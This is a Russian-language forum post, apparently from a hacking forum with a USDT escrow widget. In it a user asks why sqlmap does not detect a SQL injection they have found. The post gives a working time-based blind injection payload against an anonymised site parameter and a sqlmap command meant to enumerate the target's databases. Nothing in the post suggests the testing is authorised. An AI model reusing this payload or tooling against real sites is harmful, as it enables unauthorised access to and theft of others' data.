Sqlmap не видит уязвимость.

16.09.2024, 17:27

Emince

Новичок

Регистрация: 12.09.2024

Сообщений: 8

С нами: 879845

Репутация: 0

Доброго времени суток!
Есть уязвимость в param1

Код:

https://site/index.php?param1=1&param2=1&param3=0&param4=es&param5=1

, payload выглядит так

Код:

0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

.Sqlmap, в упор, не видит уязвимость в param1.
Пытался передать этот payload в sqlmap вот так

Код:

sqlmap.py -p param1 -u "https://site/index.php?param1=1&param2=1&param3=0&param4=es&param5=1 --dbs --random-agent --batch --suffix "0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z"

, ничего не вышло.
Прошу подсказать, как корректно передать указанный payload в sqlmap?

𝕏 Twitter Reddit Telegram Копировать ссылку

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL